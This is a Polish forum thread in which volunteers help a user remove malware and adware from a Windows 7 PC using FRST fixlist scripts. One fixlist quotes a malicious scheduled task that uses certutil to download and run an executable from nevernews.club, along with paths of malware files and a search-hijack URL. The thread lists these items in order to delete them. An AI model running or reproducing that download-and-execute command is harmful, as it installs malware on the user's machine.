Stworzenie skryptu fixlist.txt dla FRST - problem z uprawnieniami i wirusem

Question

Witam, proszę o stworzenie skryptu naprawy fixlist.txt. Złapałem zapewne wirusa > Klient nie ma wystarczających uprawnień - nie mogę nawet aktualizować programów. Wszystkie zbędne programy do odinstalowania jeżeli pomoże - choć nic ostatnimi czasy nie instalowałem > 3miesiące +/- zmieniłem 360...

RADU23 · Answer

Ponieważ nie zaznaczył kolega by wygenerowało również Addition.txt Odinstaluj: - CPU-Z Otwórz notatnik i wklej zawartość: Plik zapisz pod nazwą fixlist.txt i umieść w folderze gdzie masz FRST.exe. Uruchom FRST i kliknij w Fix/Napraw.

CamtraX · Answer

Dziękuje za podjęcie tematu ale nie ma poprawy,
załączam plik który utworzył się po wykonaniu naprawy.
Co nabroiłem iż jest komunikat o braku uprawnień?
.
Nie zaznaczyłem bo brak

Ale po odpaleniu FRST64 na innym kompie w systemie wygląda jak załączyłeś.

Kolobos · Answer

Odinstaluj:
SecureAPlus.
Advanced SystemCare

Fixlist usunie SecureAPlus.

Wykonaj Fixlist.txt dla FRST:
CloseProcesses:
HKLM\...\Run: [SAAppWhitelistingNotifier] => C:\Program Files\SecureAge\Whitelist\sanotifier.exe
HKLM\...\Run: [SecureAPlus] => "C:\Program Files\SecureAge\Whitelist\SecureAPlus.exe" /tray
HKU\HP\...\RunOnce: [Application Restart #0] => C:\Program Files\Mozilla Firefox\firefox.exe [566224 2019-05-22] (Mozilla Corporation -> Mozilla Corporation)
GroupPolicy: Ograniczenia ? <==== UWAGA
Task: {048521AB-610F-4F30-8EB6-B8E9A827F932} - System32\Tasks\DriverDoc Auto Start => C:\Program Files (x86)\Solvusoft\DriverDoc\DriverDoc.exe [1123016 2018-03-16] (Solvusoft Corporation -> Solvusoft Corporation)
Task: {2FE5F5B3-26EB-48D0-A3D7-85FB3C713D56} - System32\Tasks\{14B168E8-57E4-45F2-8D22-3CA77262DB63} => C:\Windows\system32\pcalua.exe -a F:\hp8300\sp70418.exe -d F:\hp8300
Task: {9FC57AF2-3B6B-4349-86D2-395DABC650D5} - System32\Tasks\ASC12_PerformanceMonitor => C:\Program Files (x86)\IObit\Advanced SystemCare\Monitor.exe [3161360 2019-04-24] (IObit Information Technology -> IObit)
Task: {A98D5BBC-C9A6-4F8D-A3C9-744E872E9C72} - \ASCU11_PerformanceMonitor -> Brak pliku <==== UWAGA
Task: {C369373A-8608-4C95-85E2-151C5E48B44E} - System32\Tasks\{E907FD8C-A176-44E8-A9B7-8A6C36068A97} => C:\Windows\system32\pcalua.exe -a F:\hp8300\chipset\sp57137.exe -d F:\hp8300\chipset
Task: {C5CD314A-F9BF-4A61-AE4D-333AA5111616} - System32\Tasks\driver booster skipuac (hp)
Task: {D38EE3AF-A3F0-49E7-A193-23F5709DD084} - System32\Tasks\driver booster scheduler => C:\Program Files (x86)\IObit\Driver Booster\6.2.1\Scheduler.exe [149776 2018-12-28] (IObit Information Technology -> IObit)
Task: {D84F839C-CD28-46DB-B5C6-E0E2197EFEA4} - System32\Tasks\ASC12_SkipUac_HP => C:\Program Files (x86)\IObit\Advanced SystemCare\ASC.exe [8689424 2019-03-22] (IObit Information Technology -> IObit)
Task: C:\Windows\Tasks\DriverDoc Auto Start.job => C:\Program Files (x86)\Solvusoft\DriverDoc\DriverDoc.exe
S4 AdvancedSystemCareService12; C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe [1266960 2018-11-29] (IObit Information Technology -> IObit)
S2 sascansvc; C:\Program Files\SecureAge\AntiVirus\sascansvc.exe [1128104 2019-05-10] (SecureAge Technology Pte Ltd -> SecureAge Technology)
S2 SAUAVSvc; C:\Program Files\SecureAge\UniversalAV\UniversalAVService.exe [1296512 2019-05-10] (SecureAge Technology Pte Ltd -> SecureAge Technology)
S4 Solvusoft Suite Service; C:\Program Files (x86)\Solvusoft\SuiteService.exe [1285320 2018-03-16] (Solvusoft Corporation -> Solvusoft Corporation)
S2 saappsvc; "C:\Program Files\SecureAge\Whitelist\saappsvc.exe" [X]
S2 SecureAPlusService; "C:\Program Files\SecureAge\Whitelist\SecureAPlusService.exe" [X]
S3 AscFileControl; C:\Program Files (x86)\IObit\Advanced SystemCare\drivers\win7_amd64\AscFileControl.sys [22440 2018-09-20] (IObit Information Technology -> IObit)
S3 AscFileFilter; C:\Program Files (x86)\IObit\Advanced SystemCare\drivers\win7_amd64\AscFileFilter.sys [25512 2018-09-20] (IObit Information Technology -> IObit)
S3 AscRegistryFilter; C:\Program Files (x86)\IObit\Advanced SystemCare\drivers\win7_amd64\AscRegistryFilter.sys [25000 2018-07-04] (IObit Information Technology -> IObit)
S0 SAAppCtl; C:\Windows\System32\DRIVERS\saappctl.sys [295872 2019-04-23] (SecureAge Technology Pte Ltd -> SecureAge Technology)
S0 sascan; C:\Windows\System32\DRIVERS\sascan.sys [95768 2018-09-11] (SecureAge Technology Pte Ltd -> SecureAge Technology)
S3 cpuz138; \??\C:\Users\HP\AppData\Local\Temp\cpuz138\cpuz138_x64.sys [X] <==== UWAGA
S4 IUFileFilter; \??\C:\Program Files (x86)\IObit\IObit Uninstaller\drivers\win7_amd64\IUFileFilter.sys [X]
2019-05-23 09:04 - 2018-12-21 10:12 - 000000372 _____ C:\Windows\Tasks\DriverDoc Auto Start.job
2019-05-13 16:49 - 2019-04-11 09:11 - 000002266 _____ C:\Users\Public\Desktop\Advanced SystemCare 12.lnk

CamtraX · Answer

Dzień dobry,
wykonałem powyższe czynności, sprawdziłem na Firefox - uaktualnił się i działa a FRST64 działa w systemie.
Załączam pliki dla ew. sprawdzenia co było przyczyną a może coś jeszcze trzeba odinstalować:
Fixlog po naprawie z wiersza poleceń i FRST i Addition po odpaleniu kompa w systemie.
Dziękuje bardzo.
.
Mam wiarę iż nie nadwyrężę uprzejmości .. przed zgłoszeniem wątku odinstalowałem DriverDog i po uruchomieniu systemu wyskakuje okno:

Programy czyszczące nie pomogły

Gdzie mogę i co mogę usunąć aby już nie wyskakiwało?
.
Jakim subiektywnie programem free zastąpić SecureAPlus aby nie obciążał systemu: Comodo ISP, Windows Defender, inny? dziękuje
pozdr

Konto nie istnieje · Answer

Robisz systemowi krzywdę aktywatorem: KMSpico v9.3.3, ja bym go wywalił i używał legalnego oprogramowania.

Wejdź w Windows Update i kliknij sprawdź aktualizacje, zainstaluj wszystkie ważne.

Odinstaluj:
IObit Malware Fighter 6
IObit Uninstaller 8

Pobierz i zrób skan - usuń wszystko co znajdą (również z kwarantanny):
https://pl.malwarebytes.com/adwcleaner/
https://pl.malwarebytes.com/

Skopiuj i wklej do notatnika:

Zaloguj się, aby zobaczyć kod

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST w tym samym folderze.
Uruchom FRST i kliknij w Napraw.

CamtraX napisał:
Jakim subiektywnie programem free zastąpić SecureAPlus aby nie obciążał systemu: Comodo ISP, Windows Defender, inny?

Ja nie używam żadnego oprócz Defendera (choć on jest raczej ślepy), czasami skan Malwarebytes i FRST.

CamtraX · Answer

Przepraszam iż tak długo się nie odzywałem, rozjazdy.
Po zainstalowaniu malwarebytes sytuacja się powtórzyła - nie mam uprawnień do otwarcia.
Sama instalacja nie miała zapewne wpływu, komp stał bez zabezpieczeń bo wszystkie wg zaleceń odinstalowałem... odpalany przez innych użytkownik - w standardzie winnych brak.

Załączam nowe pliki FRST i po naprawie zainstaluje program do ochrony aby sytuacja się nie powtórzyła (mile widziane sugestie)
Nie działa również F8 przy rozruchu,

Konto nie istnieje · Answer

Co jeszcze nie działa? Niedziałającego F8 raczej FRST nie naprawi...

Kolobos · Answer

Nie dziala tylko F8 czy ogolnie klawiatura pod dosem? W biosie masz ustawione USB Keyboard support? W FRST zaznacz Lista BCD i zamiesc log w zalaczniku.

CamtraX · Answer

tak jak napisałem - Po zainstalowaniu malwarebytes sytuacja się powtórzyła - nie mam uprawnień do otwarcia.
Tożsama sytuacja jest firefoxem - druga zainstalowana przeglądarka sama się nagminnie odpala z "różnymi dziwnymi" stronami.
Nie próbuje zainstalować innych za każdym razem odpala od nowa system nawet jak się tego nie chce.

Konto nie istnieje · Answer

Odinstaluj:
Bonjour
CloudNet
IObit Uninstaller 8
JDownloader 2

Skopiuj i wklej do notatnika:

Zaloguj się, aby zobaczyć kod

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST, w tym samym folderze.
Uruchom FRST i kliknij w Napraw.

Pozbądź się wszystkich niepotrzebnych śmieci z folderów:
C:\Users\HP\AppData\Local
oraz
C:\Users\HP\AppData\Roaming

Kolobos · Answer

Zrob pelny skan przy pomocy mbam oraz adwcleaner i usun to co wykryja. Po wszystkim zamiesc nowe logi z FRST, ze skanowania.

CamtraX · Answer

Zrob pelny skan przy pomocy mbam oraz adwcleaner i usun to co wykryja. > nie odpala

wpierw to : cyt: W FRST zaznacz Lista BCD .. - załącznik

edit: CloudNet > po odpaleniu kompa jest ponownie zainstalowany - wyskakuje okno

Bonjour to dodatek apple (?) chce skasować whatsappa

Kolobos · Answer

Uruchom msconfig, w zakladce Rozruch usun Windows Fast Mode i ustaw jako domyslny Windows 7. Odinstaluj: CloudNet Wykonaj Fixlist.txt dla FRST: CloseProcesses: ShortcutWithArgument: C:\Users\HP\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> %SNP% ShortcutWithArgument: C:\Users\HP\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google Inc.) -> %SNP% ShortcutWithArgument: C:\Users\HP\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk -> C:\Program Files (x86)\Internet Explorer\iexplore.exe (Microsoft Corporation) -> %SNP% ShortcutWithArgument: C:\Users\HP\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk -> C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google Inc.) -> %SNP% ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google Inc.) -> %SNP% 2019-05-31 11:29 - 2019-05-30 22:37 - 006802915 _____ ( ) C:\Users\HP\AppData\Local\Temp\is-4QP63.tmp\Sowrong.exe 2019-05-31 11:25 - 2019-05-31 11:25 - 000698368 _____ () C:\Program Files (x86)\Google\Chrome\Application\WINMM.dll 2019-05-31 11:25 - 2019-05-31 11:25 - 000589824 _____ () C:\Users\HP\AppData\Local\App\svchost.exe 2019-06-05 08:42 - 2008-10-15 16:44 - 000205312 _____ () C:\Users\HP\AppData\Local\Temp\is-F7RU2.tmp\itdownload.dll 2019-06-05 08:42 - 2019-06-05 08:42 - 000715264 _____ () C:\Users\HP\AppData\Local\Temp\is-P6H87.tmp\Sowrong.tmp 2019-06-05 08:42 - 2016-04-17 19:16 - 000221184 _____ (Mitrich Software) C:\Users\HP\AppData\Local\Temp\is-F7RU2.tmp\idp.dll 2019-06-05 08:42 - 2017-05-03 11:31 - 000043520 _____ (Vincenzo Giordano) C:\Users\HP\AppData\Local\Temp\is-F7RU2.tmp\psvince.dll Hosts: EmptyTemp: ( ) C:\Users\HP\AppData\Local\Temp\is-4QP63.tmp\Sowrong.exe () C:\Users\HP\AppData\Local\App\svchost.exe () C:\Users\HP\AppData\Local\Temp\is-P6H87.tmp\Sowrong.tmp HKLM-x32\...\Run: => C:\Program Files (x86)\IObit\IObit Malware Fighter\IMF.exe /autostart HKLM-x32\...\Run: [360Send] => C:\ProgramData\360\Send\Send.exe /StartAsTray HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Ograniczenia C:\Users\HP\AppData\Local\App\svchost.exe [589824 2019-05-31] () C:\Users\HP\AppData\Local\Temp\is-4QP63.tmp\Sowrong.exe [6802915 2019-05-30] ( ) C:\Users\HP\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe [683008 2019-06-03] (EpicNet Inc.) C:\Windows\rss\csrss.exe [5214720 2019-05-31] () C:\ProgramData\Quoteex\Stantop.dll [342528 2019-05-31] () AppInit_DLLs-x32: C:\ProgramData\Quoteex\Mathtam.dll => Brak pliku GroupPolicy: Ograniczenia - Chrome Apple Inc.) Task: {17287EA5-C7CB-4D46-8303-9AA1C2A88667} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://nevernews.club/app/app.exe C:\Users\HP\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\HP\AppData\Local\Temp\csrss\scheduled.exe /31340 C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe C:\Windows\system32\pcalua.exe -a F:\hp8300\sp70418.exe -d F:\hp8300 Task: {57A8A30C-0D8D-4A56-A967-7131B05DF9E8} - System32\Tasks\Online Application V2G1 => C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUninstaler.exe [5292304 2019-02-26] (IObit Information Technology -> IObit) Task: {8D714128-FED6-4519-9985-08BC55DDF967} - System32\Tasks\Online Application V2G2 => C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe Brak pliku C:\Windows\system32\pcalua.exe -a F:\hp8300\chipset\sp57137.exe -d F:\hp8300\chipset Task: {D0EFD74D-65E5-47C9-8860-45ECA1841743} - System32\Tasks\Updater_Online_Application => C:\Program Files (x86)\Microleaves\Online Application\Online Application Updater.exe C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe C:\Windows\rss\csrss.exe [5214720 2019-05-31] () C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe C:\Program Files (x86)\Microleaves\Online Application\Online Application Updater.exe {59E9C8B1-74FD-4CB6-A815-9E96102F97BD} URL = hxxp://www.google.com/search?hl={language}&q={searchTerms} SearchScopes: HKLM-x32 -> DefaultScope {ielnksrch} URL = SearchScopes: HKLM-x32 -> ielnksrch URL = hxxps://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRGNclVS1AC6sNoGk3GzeHhcr-ccYvSq_9cIhjyROuGUKgWE8DC81fhCswx1hnJ0pZlr4CJr-GI-swdkp_BEt8dAYdPlp3mKk_Ui1Gw9jy-6mqAds1K_7LtSYCh68RuTkdfDT-ZVr_QEN8zmPS3bF8Cfm59bzHaMOyi1qrai5qAQwFN2o40vwSvL-g&q={searchTerms} SearchScopes: HKLM-x32 -> {59E9C8B1-74FD-4CB6-A815-9E96102F97BD} URL = hxxp://www.google.com/search?hl={language}&q={searchTerms} SearchScopes: HKU\S-1-5-21-1954876668-1343596396-4085357382-1000 -> DefaultScope {ielnksrch} URL = hxxps://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRGNclVS1AC6sNoGk3GzeHhcr-ccYvSq_9cIhjyROuGUKgWE8DC81fhCswx1hnJ0pZlr4CJr-GI-swdkp_BEt8dAYdPlp3mKk_Ui1Gw9jy-6mqAds1K_7LtSYCh68RuTkdfDT-ZVr_QEN8zmPS3bF8Cfm59bzHaMOyi1qrai5qAQwFN2o40vwSvL-g&q={searchTerms} SearchScopes: HKU\S-1-5-21-1954876668-1343596396-4085357382-1000 -> {59E9C8B1-74FD-4CB6-A815-9E96102F97BD} URL = hxxp://www.google.com/search?hl={language}&q={searchTerms} SearchScopes: HKU\S-1-5-21-1954876668-1343596396-4085357382-1000 -> {ielnksrch} URL = hxxps://%66%65%65%64.%73%6F%6E%69%63-%73%65%61%72%63%68.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGKBRGNclVS1AC6sNoGk3GzeHhcr-ccYvSq_9cIhjyROuGUKgWE8DC81fhCswx1hnJ0pZlr4CJr-GI-swdkp_BEt8dAYdPlp3mKk_Ui1Gw9jy-6mqAds1K_7LtSYCh68RuTkdfDT-ZVr_QEN8zmPS3bF8Cfm59bzHaMOyi1qrai5qAQwFN2o40vwSvL-g&q={searchTerms} BHO-x32: IObit Ads Removal -> {FFCB3198-32F3-4E8B-9539-4324694ED664} -> C:\Program Files (x86)\IObit\IObit Malware Fighter\Surfing Protection\Adblock\Adblock.dll => Brak pliku R2 WinDefender; C:\Windows\windefender.exe [0 0000-00-00] (Odmowa dostępu)

CamtraX · Answer

Uruchom msconfig, w zakladce Rozruch usun Windows Fast Mode i ustaw jako domyslny Windows 7. Odinstaluj: CloudNet ------------------------------------------------------------------------ Windows Fast Mode - nie można usunąć jest tylko podświetlone - opcje zaawansowane - po wejściu nic nie jest podświetlone do zmiany - ustawiony domyślny Windows 7 CloudNet z pozycji Win dodaj/usuń programy wyskakuje okno załączone powyżej - po wpisaniu kodu z okna zniknął z widoku w dostępnych programach - zapewne pojawi się po rozruchu jak poprzednio edit po zmianie na win7 jako domyślny i po auto rozruchu - nie pojawił się robię naprawę FRST - następny post

Kolobos · Answer

W msconfig ustawiasz jako domyslna opcje Windows 7 i dopiero usuwasz Windows Fast Mode. Musi dzialac, z tego co piszesz dalej to chyba CI sie udalo?

CamtraX · Answer

. po restarcie teraz jeszcze raz sprawdziłem i usunąłem. ....włączam naprawę Dodano po 11 [godziny] 41 [minuty]:nowe logi z FRST w załączniku. programy odpalają i F8 działa! Dzięki zauważyłem iż programy wolniej się odpalają jak i system. Jutro tylko zainstalowanie ochrony.

Kolobos · Answer

Masz jakis problem z dyskiem: Error: (06/05/2019 10:53:26 PM) (Source: Disk) (EventID: 11) (User: ) Description: Sterownik wykrył błąd kontrolera na \Device\Harddisk1\DR2. Zamiesc screen calego okna z Crystal Disk Info Portable (dla wszystkich dyskow). Kolejny Fixlist.txt: Task: {E6E1EF11-EBD7-48C0-BA2D-63DC72DB36C1} - \ScheduledUpdate -> Brak pliku

CamtraX · Answer

Wszystko według zaleceń. screen całego okna z Crystal Disk Info Portable (jest jeden- 2partycje): pozdr Dodano po 37 [minuty]:działało teraz nie mogę uruchomić - zaplanowane auto też się nie włącza(?)

Kolobos · Answer

Sprawdz czy usluga jest wlaczona tak jak masz podane w komunikacie.

Stworzenie skryptu fixlist.txt dla FRST - problem z uprawnieniami i wirusem

Post #1

Post #2

Post #3

Post #4

Post #5

Post #6

Post #7

Post #8

Post #9

Post #10

Post #11

Post #12

Post #13

Post #14

Post #15

Post #16

Post #17

Post #18

Post #19

Post #20

Podsumowanie tematu